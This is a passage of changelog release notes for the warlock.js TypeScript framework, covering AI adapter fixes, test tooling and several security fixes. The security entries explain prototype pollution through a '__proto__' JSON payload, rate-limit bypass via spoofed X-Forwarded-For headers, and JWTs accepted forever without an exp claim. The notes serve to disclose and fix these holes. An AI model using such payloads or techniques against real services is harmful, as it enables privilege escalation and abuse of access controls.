                                    • Securityfs.files.mergeJson() / File#mergeJson() now drop __proto__ / constructor / prototype keys from both sides of the merge, at every depth. The deep-merge path assigned with output[key] = value, and for a key of __proto__ that is not a property write — it invokes the inherited setter and reparents the merged object. JSON.parse is itself safe but happily produces an own property with that name, so mergeJson(configPath, requestBody) — the natural shape for a "PATCH this JSON config" endpoint — let a partial of {"__proto__":{"isAdmin":true}} poison the object being written, and any property lookup against the in-memory result resolved through the attacker's data
                                    @warlock.js/notificationsSecurity 1
                                    • SecurityBaseNotificationsRepository.createFor no longer lets the channel payload override server-owned row keys. The payload was spread after the trusted recipientId, so an untyped caller (e.g. a payload assembled from request JSON, or notify.channel(name).send) carrying a recipientId key — or the model's physical recipient column name — could write the notification into another recipient's inbox, contradicting the recipient-scoping guarantee. Server-owned keys (id, recipientId, tenant, readAt, isRead, and their resolved physical columns) are now stripped from the payload at runtime and the trusted arguments are applied last; legitimate fields (type, title, body, payload, idempotencyKey) pass through unchanged. createManyFor inherits the fix.
                                    4.15.0
                                    August 16, 2026

                                    @warlock.js/ai lands a batch of type + mock-SDK fixes: ctx.run now stringifies a non-string payload, ToolMeta keys are optional, new Error(msg, { cause }) compiles, and the mock honours usage/deltas. @warlock.js/herald fixes a non-idempotent lazy amqplib loader that could race concurrent loads and silently poison test isolation.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/aiChanged 3Fixed 6
                                    • ChangedMockModelResponse.usage is a new MockUsage type rather than the emitted Usage. The script is an input, not a result: MockModel.buildResponse honours only input / output / cachedTokens, so a fixture declaring cost or reasoningTokens was silently discarded while the type promised otherwise. total is optional and documented as derived, because the mock recomputes it as input + output — an existing spec deliberately asserts that a mismatched scripted total is overridden
                                    • ChangedThe mock honours deltas. Fixtures already declared the field; the mock ignored it
                                    • ChangedMockSDK.model() declares its MockModel return type — it always returned one, so callHistory is now reachable without a cast. MockUsage is exported from the barrel
                                    • Fixedctx.run(agent, payload) now stringifies a non-string payload, as it always claimed to. coerceInlineInput in src/supervisor/execution.ts gated on !("signature" in executable) to decide whether the target was an agent — but every member of SupervisableExecutable (AgentContract, WorkflowInstance, SupervisorContract) declares signature, so the condition was permanently false and the coercion never ran. A supervisor intent calling ctx.run(someAgent, { question: "why", attempt: 2 }) handed the raw object to agent.execute(), where it landed as the user message content — [object Object] in the prompt, or a provider-side payload rejection, depending on the adapter. The check now discriminates on isAnonymous, the one member unique to AgentContract. A regression test covers it; the old guard fails it with Expected: "string" / Received: "object". The unreferenced isSupervisor() duck-type helper — whose own JSDoc admitted it could not tell a supervisor from a workflow — is removed
                                    • FixedToolMeta no longer forces label and actionLabel on every tool that supplies meta. It was declared as Record<"label" | "actionLabel" | (string & {}), unknown>, which makes both keys required, not optional — so any tool author who set one metadata field was made to set all of them. Now an optional-key shape with an index signature
                                    • FixedToolConfig.action is checked bivariantly, via a ToolActionResolver<T> method-in-wrapper. The strictly contravariant parameter position rejected heterogeneous tool arrays that work correctly at runtime
                                    • Fixednew Error(msg, { cause }) compiles. tsconfig.json declared no lib, so it inherited the target default of ES2020, where ErrorOptions does not exist. lib is now ["ES2022"]; this also resolves the Array.at and String.replaceAll errors. Emit is unchanged — target is still ES2020. Note src/skills/sources/url-source.ts:122 was not a defect: the cause was always passed at runtime, the compiler simply had no type for it
                                    • FixedTeamMemberValue accepts the callback member form (IntentCallback), which has always worked at runtime and was only rejected by the type
                                    • FixedPlanSchema no longer erases ~standard.jsonSchema from its return type
                                    @warlock.js/heraldFixed 4
                                    • FixedThe RabbitMQ driver's lazy amqplib loader was not idempotent under concurrent callers. It cached the resolved module in a module-level binding but nothing guarded the load itself, so two loads could be in flight at the same time and the last one to settle won the binding. The eager, unawaited loadAmqplibModule() call at module scope was one of those callers by construction — it started a load nobody was waiting on, which then raced the awaited call from connect(). That eager call has been removed: connect() already awaits the loader, so it bought nothing but the race. The loader now memoizes the in-flight promise itself, so the first caller starts the import() and every later caller awaits that same one
                                    • FixedNo user-visible misbehaviour is known in production — both racing paths resolve the same real amqplib, so whichever won, callers got the module they expected. The observable damage was in test isolation: when a test was aborted mid-await import(...), the racing loads could leave the binding holding the real amqplib while the test file's vi.mock("amqplib") was still active, so every later test in that file silently bypassed the mock and opened a real socket. Proven by instrumentation — the driver held a live ChannelModel on ::1:5672 while import("amqplib") inside the same test still returned the mock, which is how a green test could be green for the wrong reason
                                    • FixedVerified by a timeout sweep, not by a passing suite. The full suite passed both before and after (13 files / 137 tests), because the fault only surfaces when the first test is starved of time. Running tests/connect-to-broker.test.ts at --testTimeout=3000 and 4000 previously timed out the first test _and_ took wraps a connection failure with the driver name down with it, failing in ~50 ms with promise resolved "Broker{…}" instead of rejecting — the mock was gone. With the loader fixed, that test passes at every timeout even while the first test still times out: starving one test can no longer poison the next
                                    • FixedThe first test also paid a cold-transform cost inside its own timed body, since connectToBroker dynamically imports the driver, which pulls in @warlock.js/seal and @warlock.js/logger as raw TS source. That work moved to a beforeAll warm-up. This is a test-timing change only and carries none of the correctness weight above — the loader fix stands on its own without it
                                    @warlock.js/ai-googleAdded 3Changed 2Fixed 1Deprecated 1
                                    • AddedGeminiImageModel — a Gemini-native image path over ai.models.generateContent (new src/gemini-image.ts, exported as GeminiImageModel). Requests responseModalities: ["TEXT", "IMAGE"] (override the list verbatim with options.responseModalities), maps aspectRatio / imageSize / personGeneration onto Gemini's config.imageConfig, and reshapes inline image parts that come back into the same GeneratedImage[] ({ type: "base64", base64, mediaType }, image/png fallback) the Imagen path emits — so ai.image()'s envelope is unchanged for callers
                                    • AddedToken usage is passed through on the Gemini image path instead of hard-zeroed. Whatever usageMetadata Google attaches becomes usage.input / output / total (plus cachedTokens / reasoningTokens when reported > 0); only an absent block collapses to zeros. The Imagen path stays a flat zero because Imagen reports no tokens at all. Price these models with { input, output } rather than { perImage }, and check the first live usage — whether these models report tokens is not confirmed here. The mapping is now a shared applyGoogleUsage util used by both the chat model and the image model, so one rule decides what a Gemini token report means package-wide
                                    • AddedA response with no image part is never a silent empty success: a blocked prompt (promptFeedback.blockReason) or a safety/policy finishReason (SAFETY, IMAGE_SAFETY, PROHIBITED_CONTENT, IMAGE_PROHIBITED_CONTENT, RECITATION, IMAGE_RECITATION, BLOCKLIST, SPII) throws ContentFilterError carrying the reason; a text-only answer throws ProviderError quoting the text the model returned; anything else throws ProviderError naming the part count and finish reason
                                    • Changed@google/genai moves from ^2.4.0 to ^2.17.1 (2.17.1 is what installs today). The Gemini image path does not depend on the bump — models.generateContent exists in both — but the older range predates the deprecation notice above and predates ai.interactions, so staying on it meant documenting an SDK surface the package could not reach. The 11 suites / 149 specs in this package pass unchanged on 2.17.1. Note this re-resolved the whole workspace lockfile, not just this package's dependency
                                    • ChangedGoogleSDK.image() returns GeminiImageModel for a gemini- id. This is routing, not validation — no id is rejected locally: an id matching neither family takes the generateImages route, the only route that existed before, so every id that reached Google before still reaches Google the same way and still fails (or succeeds) at the provider
                                    • Fixedgoogle.image({ name: "gemini-…" }) no longer hits the endpoint that 404s it. ai.models.generateImages routes to {model}:predict (generateImages → generateImagesInternal → formatMap('{model}:predict', …) in @google/genai's bundle), which does not serve the Gemini image models — the call came back 404 models/… is not found for API version v1beta, or is not supported for predict. GoogleSDK.image() now picks the transport from the id: a gemini- id (with an optional models/ resource prefix) gets the new generateContent implementation, everything else keeps GoogleImageModel / generateImages. Scope of the proof: two levels. Measured here — on the new transport such an id got as far as a quota error (HTTP 429) instead of the 404, which establishes that the endpoint accepts the id. Reported by the maintainer — once billing was enabled on the project, the path returned an image end-to-end from an application running a locally linked build of this package. No test in this package calls Google; the suite proves the request shape and the error mapping, not the round trip
                                    • Deprecated**Google has deprecated generateImages, the transport the imagen-* path still uses.** Verbatim from the @google/genai runtime warning: _"The generateImages method is deprecated and will be removed in the next major release (not before Jan. 1 2027). Please use the generateContent method with image models instead. See https://ai.google.dev/gemini-api/docs/deprecations#imagen-models and https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/capabilities/image-generation#generate-images"_ (editImage carries the same notice.) Nothing breaks today and the Imagen path is unchanged, but it is on a clock: new image work should prefer a gemini- id. The warning is emitted by @google/genai ≥ 2.17; with the bump below, this package now prints it whenever the imagen-* path is used
                                    @warlock.js/ai-openaiChanged 3Fixed 1
                                    • Changedopenai moves from ^6.34.0 to ^7.4.0. The runtime was unaffected: the full suite — 13 files / 208 tests — passed on 7.4.0 _before_ any of the type fixes below were made, so nothing about the wire shape this adapter sends or the responses it reads changed across the major. Every fix in this release is a compile-time one.
                                    • ChangedOpenAI.Images.ImageGenerateParamsBase is no longer reachable upstream — openai 7 split image generation into ImageGenerateParamsNonStreaming / ImageGenerateParamsStreaming and stopped re-exporting the shared Base interface from the Images namespace. image.ts now sources its quality / output_format / background value types from ImageGenerateParamsNonStreaming, which is what the request body was already typed as and what the non-streaming images.generate overload accepts. The three fields are inherited from Base unchanged, so the accepted values are identical.
                                    • ChangedChatCompletionTool became a union (ChatCompletionFunctionTool | ChatCompletionCustomTool) now that Chat Completions carries custom tools. .function is no longer reachable without the type discriminant, so the tool-conversion specs narrow on type === "function" and throw on anything else — a custom-tool regression fails loudly rather than silently skipping the assertion it used to make.
                                    • FixedOpenAISDKConfig.provider is a usable string again. openai 7 added its own provider?: Provider key to ClientOptions — an opaque branded object minted by createProvider() — and our intersection collapsed the field to Provider & string, a type no string literal can inhabit. The config now omits the upstream key (Omit<ClientOptions, "provider">) before declaring its own label. No behavior change: the constructor already peeled provider off and never forwarded it to the OpenAI client.
                                    4.14.0
                                    August 16, 2026

                                    @warlock.js/core adds teardownTest() to close a framework a test brought up and scopes test-lifecycle state to the worker runtime instead of the module. Two breaking setupTest changes: an explicit { connectors } now wins over tests.connectors config, and a conflicting concurrent call rejects instead of being silently ignored.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreAdded 1Changed 3Fixed 1
                                    • AddedteardownTest() — the other half of the pair. setupTest has shipped without a counterpart since it was introduced: there was no supported way to close the framework a test file brought up, and the only "reset" available was a module flag that proved nothing about whether ports, sockets, pools or timers had actually closed
                                    • ChangedBREAKING — an explicit setupTest({ connectors }) now wins over tests.connectors config. The order was config > parameter > true; it is now explicit parameter > config > true
                                    • ChangedBREAKING — a conflicting setupTest call rejects instead of being ignored. While a setup is starting or ready, a call with _different_ effective options now rejects with an error naming both the active and the requested selection. The same options remain a no-op, and concurrent identical calls share one startup
                                    • ChangedLifecycle state is now scoped to the worker runtime instead of the module. isSetupComplete was a module-level variable, and Vitest rebuilds the setup module's registry between test files while the worker process or thread keeps running — so the flag reset in exactly the situation where live DB connections, pools and timers survive
                                    • FixedA stranded setup no longer exhausts the heap. A lifecycle left in the starting state sent teardownTest's wait-then-re-enter path into unbounded recursion — FATAL ERROR: JavaScript heap out of memory at 4 GB, killing the worker with 26 tests in that run never executed. It was found while proving the state machine, not reported by a user, and it would have shipped
                                    @warlock.js/ai-openaiChanged 1Removed 2
                                    • Changedopenai.image({ name }), openai.speech({ name }) and openai.transcribe({ name }) no longer reject an unknown model id at construction — the id is forwarded to OpenAI as given, so an id OpenAI does not serve now fails as a typed provider error instead of a local InvalidRequestError.
                                    • RemovedBREAKING — isOpenAIImageModel() and OPENAI_IMAGE_MODEL_PREFIXES are no longer exported; the known-image-models module is deleted. Nothing in the adapter read them once the construction-time gate went away, so they were a public list of model ids that enforced nothing and went stale on OpenAI's release schedule, not this package's. Import them from nowhere — branch on your own id list if you need one.
                                    • RemovedBREAKING — isOpenAISpeechModel() and isOpenAITranscriptionModel() are no longer exported either, for the same reason. Once their construction-time gates went away nothing in the adapter read them, leaving two more public model-id lists that enforced nothing. No @warlock.js/ai-* adapter validates a model id locally, so the package no longer ships a helper that implies otherwise — branch on your own id list if you need one.
                                    @warlock.js/ai-googleChanged 1Removed 1
                                    • Changedgoogle.image({ name }) no longer rejects a non-imagen-* model id at construction — the id is passed through to ai.models.generateImages as given, so an id Google does not serve now fails as a typed provider error instead of a local InvalidRequestError
                                    • RemovedBREAKING — isGoogleImageModel() and GOOGLE_IMAGE_MODEL_PREFIXES are gone from the public API. Both were dropped from the package entrypoint and the module deleted; importing either from @warlock.js/ai-google is now a compile error. With the construction-time guard gone (below) they enforced nothing and only invited callers to re-implement a model allow-list the framework does not own — a model id is the provider's to rule on, so there is nothing left for a local list to say. Callers that branched on the Imagen family should match on the id themselves (name.startsWith("imagen-")) or, better, stop branching and let the provider answer
                                    4.13.0
                                    August 12, 2026

                                    @warlock.js/core adds build.singleBundle for a single runnable node dist/app.js, makes @warlock.js/core/tests and @warlock.js/core/vite real importable subpaths, and fixes setupTest() crashing in a project without a tests config plus the test request helpers dropping falsy JSON bodies (false/0/""/null).

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreAdded 2Fixed 13
                                    • Addedbuild.singleBundle — one file you can run with node dist/app.js. The default build keeps dependencies as real import specifiers resolved from node_modules, which is right when you deploy the folder. Producing a single self-contained file previously meant knowing to set packages: "bundle" and splitting: false, and it still did not work
                                    • Added@warlock.js/core/tests and @warlock.js/core/vite are real subpaths, with their own build entries and exports keys — the first version in which those helpers are addressable at all. /tests carries the 13 documented test helpers; /vite carries lowerStage3Decorators
                                    • FixedsetupTest() no longer crashes in a project that has no src/config/tests.ts. config.get("tests") resolves an absent key to null, and the result was dereferenced — so the very path warlock add test generates threw Cannot read properties of null (reading 'connectors') before running a single test. setupTest() with no arguments at all threw one step earlier still, on a destructured parameter with no default
                                    • FixedThe request helpers send falsy JSON bodies. testPost, testPut and testPatch used body ? JSON.stringify(body) : undefined, so false, 0, "" and null — all legal JSON documents — were sent as no body at all. Only an omitted argument now means "no body"
                                    • FixedShutdown survives a throwing log channel. A connector whose shutdown() failed was reported through log.error(...) from inside the catch block — and Logger.log() hands each entry to channel.log() with no isolation, so a channel that throws synchronously (a misconfigured transport, an unserialisable payload) made that report reject. The rejection escaped shutdown() entirely, and the consequences went well past a missing log line: log.flush() never ran, so every buffered entry from the whole run was lost; the remaining connectors were never torn down; and process.exit(0) — the line gracefulShutdown runs once shutdown() resolves — was never reached, leaving the process alive on the handles those connectors still held
                                    • FixedA test server that fails to start no longer leaves half of itself running. startHttpTestServer() publishes the resolved port before the late connector phase and sets isServerRunning only on its last line, so a failure in between left live early-phase connectors and a published port pointing at a server that never came up — while stopHttpTestServer() in globalTeardown reported _"No server to stop"_ and walked away from them. Startup now unwinds what it started, always withdraws the port and resets its state. ⚠ The error you get back is unchanged — it always was. Startup had no catch at all, so the original failure already propagated correctly; what was missing was the cleanup, and the new catch exists only to run it. A failure _during_ that cleanup is reported and never substituted for the cause, which is the one propagation guarantee the wrapper had to be careful not to break
                                    • FixedstartHttpTestServer({ port: 0 }) is refused with an instruction instead of half-working. 0 is the OS's "pick a free one" idiom, and the test server cannot honour it: the preflight would bind some unrelated ephemeral port and pass without proving anything, and nothing publishable exists afterwards — HttpConnector.start() records the port it asked for, not the one Fastify bound. Accepting it silently meant getTestServerUrl() resolved 0 through its own config fallback and every worker request went to http://host:0, where nothing listens. The error names the fix: pass an explicit port, or set http.port
                                    • Fixed⚠ BREAKING — the package entry no longer re-exports the CLI, the dev server, the test helpers or the Vite integration. Five export * lines are gone from @warlock.js/core's root: ./cli, ./dev-server/files-orchestrator, ./dev-server/health-checker, ./tests and ./vite
                                    • Fixed⚠ BREAKING — the CORS allow-list in http.cors now actually applies. The framework's defaults were spread after your configuration, so { origin: "*", methods: "*" } overwrote whatever you set. http.cors has never had any effect, in any release up to 4.12.0 — an app that configured an allow-list still answered every origin. Your configuration now wins
                                    • Fixed⚠ BREAKING — http.bodyLimit no longer defaults to 200 GB. An app that configures nothing now gets Fastify's own 1 MB limit. The previous default did not merely allow large bodies, it replaced a protection Fastify provides: an unauthenticated endpoint accepted a 5 MB body and ran application logic on it where bare Fastify would have answered 413
                                    • Fixed⚠ BREAKING — http.trustProxy now defaults to false. request.ip was derived from the client-supplied X-Forwarded-For header by default, and @fastify/rate-limit keys its buckets on request.ip — so a client sending a different X-Forwarded-For on each request got a fresh rate-limit bucket every time. Any deployment not behind a proxy that strips the header had bypassable rate limiting, and the same applied to per-IP lockouts and audit logs
                                    • FixedPer-route serverOptions are no longer discarded by the dev server. scanDevServer registers wildcard routes and dispatches per request, so it had no per-route registration slot and dropped serverOptions entirely. A route declaring serverOptions.onRequest — the documented way to run before body parsing — worked in production and silently never ran in dev, which is the only mode most teams run. route.rateLimit was dropped the same way, since it rides in the same options object
                                    • FixedThe dev server no longer rebuilds its entire route registry on every request. A comment claimed the registry was initialised "once" and pointed at a rebuildRouteRegistry function that does not exist; the code sat inside the per-request handler, re-registering every route on every hit — and router.any() routes expand into seven registrations each. It is now built once and rebuilt when the route table changes
                                    • FixedThe dev dispatcher logs through the framework logger instead of console.log(error), with the request method and url attached
                                    • FixedA bundled production build no longer succeeds and then dies at startup. Setting packages: "bundle" produced a clean build whose process failed immediately with Error: Dynamic require of "node:assert" is not supported. Warlock's output is an ES module; bundled CommonJS dependencies call require(...) and read __dirname to locate their own assets, and neither exists in an ES module, so the bundler substituted a stub that throws. The only fix available to an application author was to hand-write an esbuild banner recreating require via createRequire(import.meta.url) — esbuild internals no app should need to know
                                    4.12.0
                                    August 11, 2026

                                    @warlock.js/core adds warlock migrate --pending — what will run next, in execution order, with exit codes you can gate a deploy on — and stops two CLI flags doing the opposite of what they say: migrate --rollback=false dropped every table, and generate.module --force=false overwrote your files, because boolean options were parsed as raw strings and "false" is truthy. @warlock.js/auth closes a token-expiry hole: an unparseable expiresIn minted a JWT with no exp claim, such a token was then accepted forever, and the rows were never purged — tokens are now rejected at issue and at verification, and auth:purge-never-expiring finds and revokes the ones already in your database. @warlock.js/core also fixes Image and renderReact racing their own optional-dependency imports, where a constructor could run before sharp or react had loaded and fail with not a function.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreAdded 1Changed 2Fixed 8
                                    • Addedwarlock migrate --pending — what will run next, in the order it will run. migrate could report what had already run (--list) and what files existed on disk (--all), but not the one thing an operator asks before a schema change against a live database. The pending set was already computed on every migrate run; it simply had no read-only exit
                                    • Changedmigrate's preload block no longer declares env: true. The flag has done nothing since env began loading for every command that declares a preload block; it was decoration, and the test suite now asserts its absence so it is not re-added by someone reading the still-deprecated type
                                    • ChangedThe package now declares its own test runner and a test script. @warlock.js/core shipped a maintained vitest.config.ts — aliasing eight sibling packages to their sources — with no devDependencies key at all and no way to invoke it. Its suite was reachable only by knowing to type npx vitest, which resolves whatever happens to exist in the tree rather than anything the manifest asked for. The runner is pinned to an exact version, not a range: it moved from 4.1.8 to 4.1.10 mid-development on an unrelated install, silently, and a suite whose runner can change underneath it proves less than it appears to
                                    • FixedA build artifact that names an entry point it does not contain is now refused before it can be packed. An interrupted build leaves a directory that looks finished — package.json, README, CHANGELOG, bin/, skills/ — and holds no compiled code at all. Nineteen existed in this tree at once, and nothing in the release path noticed: the only related guard compares modification times, so a hollow directory with a freshly written manifest is _newer than source_ and passes, and it runs solely on the artifact-reuse path, which is not how the hollow directories were produced
                                    • FixedThe production acceptance gate no longer inherits the environment it is supposed to be testing. run-pnpm-acceptance.mjs spawned every child with env: { ...process.env } and set no NODE_ENV. It exercised the production path only because the shell it was written in happened to carry NODE_ENV=production; on a clean checkout, a new contributor's machine, or CI, the same gate boots the app in development — and does not fail, it passes while testing something other than the thing it is named after. That is the worst outcome available to a gate, and it sat underneath the proof for 4.11.0's headline fix
                                    • Fixedwarlock migrate --rollback=false no longer drops every table. CLI options were parsed as raw strings and nothing ever coerced them: --rollback=false reached the action as the string "false", if (rollback) saw a truthy value, and the run rolled back _everything_. The declared type: "boolean" on the option was decorative — used only to render help. The same shape existed on every boolean option, including warlock drop.tables --force=false, where it turned a confirmation prompt into an unattended drop
                                    • Fixedwarlock generate.module users --force=false no longer overwrites your files. The coercion above is opt-in by design — it applies only to options a command declares type: "boolean", so a string option whose value is genuinely the word false survives. The generate family and add never carried that declaration, so the fix reached none of them and both faces of the defect stayed live on the commands most likely to be run against existing source
                                    • Fixednew Image(...) no longer fails depending on how soon you call it. The Image module fired import("sharp") at load time without awaiting it, and the constructor only checked whether that import had _failed_ — never whether it was still in flight. Constructing an image in the first tick after importing the package therefore ran with an undefined sharp function and died with TypeError: sharpFn is not a function; the exact same code passed if something had awaited a timer first. Anything that builds an image during boot — a startup thumbnail job, a module-level warm-up — hit it, and it presented as a mysterious "works locally, breaks in prod" timing bug rather than as a missing dependency
                                    • FixedA sharp that is installed but will not load no longer reports itself as "not installed". The resolution above swallowed every failure into a single outcome, so the most common real-world sharp problem — the package present but its native binary built for another platform — arrived as sharp is not installed. plus instructions to run npm install sharp, which cannot fix it. sharp throws its own long, actionable error naming the runtime, the failing .node file and the exact install flags to use; that text was discarded and replaced with a different, wrong cause
                                    • FixedrenderReact() no longer renders against modules that have not loaded yet. The same defect as the two above, in a second module, found by looking for the pattern rather than by a bug report. react/index.ts fired import("react") and import("react-dom/server") at load time without awaiting either, and tracked them with a three-state flag that the guard only tested for one state: if (moduleExists === false). While the imports were in flight the flag was null, which is not false, so the guard passed and the synchronous renderReact read createElement off undefined. With two sequential dynamic imports the window is wider than the image module's, and it is open during exactly the work a server does at boot — rendering a page or an email template from a module-level warm-up
                                    • FixedA broken react-dom/server no longer reports itself as react is not installed. The two packages were loaded in one try and collapsed into one flag, so any failure of either was attributed to react. The specifiers are now resolved and reported separately, and the message names the one that actually failed — Failed to load "react-dom/server": … — because sending an operator to reinstall react when react is fine costs them the debugging session. Absence is distinguished from breakage the same way as for sharp: MODULE_NOT_FOUND and a message naming the specifier exactly, quoted, which is also what stops 'react-dom' from satisfying a check for 'react'. Everything else surfaces the original error, inlined and chained as cause. A react-dom whose ./server subpath is missing from exports raises ERR_PACKAGE_PATH_NOT_EXPORTED, so it correctly reports as an incompatible install rather than an absent one
                                    @warlock.js/authAdded 1Changed 6Fixed 3Security 2
                                    • Addedwarlock auth.purge-never-expiring — remediation for rows written by the expiresIn defect below. Finds every access- and refresh-token row that can never retire itself, on two independent signals: an expires_at that is missing or unparseable, and a persisted token carrying no exp claim. Reports id, user_id, user_type and expires_at per row (never the token string — it is a live credential until the command removes it), then deletes them. Pass --dry-run to report without deleting.
                                    • ChangedPotentially breaking: a JWT with no exp claim is rejected by jwt.verify / jwt.verifyRefreshToken. No supported configuration produces one: an app that wants a token that effectively never expires sets expiresIn: NO_EXPIRATION ("100y"), which mints a real exp about a century out (ms("100y") ⇒ 3155760000000; exp - iat ⇒ 3155760000 seconds). "No deadline" and "a distant deadline" are different things, and only the second was ever asked for. If you sign tokens with your own signer and feed them to this package's verifier, they must carry exp.
                                    • ChangedPotentially breaking: RefreshToken.isExpired now answers true for a missing or unparseable expires_at; it previously answered false ("no expiry recorded ⇒ never expires"). That reading handed an unlimited life to precisely the malformed rows. expires_at is required in the schema — a row that cannot say when it dies is malformed, not immortal. AccessToken.isExpired is new and fails closed the same way.
                                    • ChangedPotentially breaking: an invalid accessToken.expiresIn / refreshToken.expiresIn now throws on token issue instead of producing a token with a wrong or absent expiry. Valid configuration is unaffected — "1h", "7d", "30 days", NO_EXPIRATION ("100y"), the 1h access default when the key is absent, and the 7d refresh default all behave exactly as before. An empty string (e.g. env("JWT_TTL") with the variable unset) now throws rather than falling back; give the env read an explicit default.
                                    • ChangedauthConfig.accessToken.expiresInMs() / authConfig.refreshToken.expiresInMs() are the validated accessors token issuers must use; the raw expiresIn() accessors are unchanged.
                                    • ChangedRemoved the as ms.StringValue casts on both call sites. They were what let arbitrary config text compile against ms's template-literal type and reach the signer as undefined.
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    • FixedAn expiresIn the ms package cannot parse no longer mints a credential that never expires. accessToken.expiresIn: "30dayz" (or "thirty days", or any truthy-but-unparseable value) made ms() return undefined, which the signer emitted as a JWT with no exp claim, alongside a token row whose expires_at was Invalid Date. The old guard tested the raw config string for truthiness, so the 1h fallback was unreachable in exactly the case it existed for. refreshToken.expiresIn had no fallback at all.
                                    • FixedexpiresIn: "0d" (and any non-positive duration) is rejected too. It is truthy and parses cleanly to 0, so it survived any guard that only rejects undefined — and fast-jwt skips its own validation for 0, emitting a token with no exp claim while the persisted row claims it expired immediately.
                                    • FixedA bare number (expiresIn: 2592000) is now rejected instead of silently corrupting the expiry. ms _formats_ numbers rather than parsing them (2592000 ⇒ "43m"), which then poisoned Date.now() + expiresIn into Invalid Date. Write "30d".
                                    • SecurityA token with no exp claim is now rejected instead of being accepted forever. fast-jwt has no deadline to check on such a token, so verification simply succeeds — measured against fast-jwt@6.2.4, a token with no exp verifies unchanged at clockTimestamp + 100 years. Both jwt.verify and jwt.verifyRefreshToken now require an exp claim.
                                    • SecurityThe persisted expires_at is now enforced on every request. authMiddleware previously checked only that the access-token row _existed_; a row whose own expiry had passed still opened the gate, because nothing ever asked. The row is now checked against the clock and deleted on rejection.
                                    @warlock.js/cascadeAdded 1Changed 1
                                    • AddedlistPendingMigrations() — the registered migrations that have not executed, in the order they will execute, mirroring listExecutedMigrations(). The set was already computed inside the runner on every migrate run; getPendingMigrations() was private and had no read-only exit, so nothing outside could ask "what will run next?" without running it
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/contextChanged 2
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    • ChangedAdds a test script. The package shipped a tests/ directory with no way to run it, so the suite was reachable only by knowing to type npx vitest — which resolves whatever happens to exist in the tree rather than anything the manifest asked for
                                    @warlock.js/accessChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/aiChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-anthropicChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-bedrockChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-deepseekChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-googleChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-groqChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-liveChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-mistralChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-ollamaChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-openaiChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-panopticChanged 1
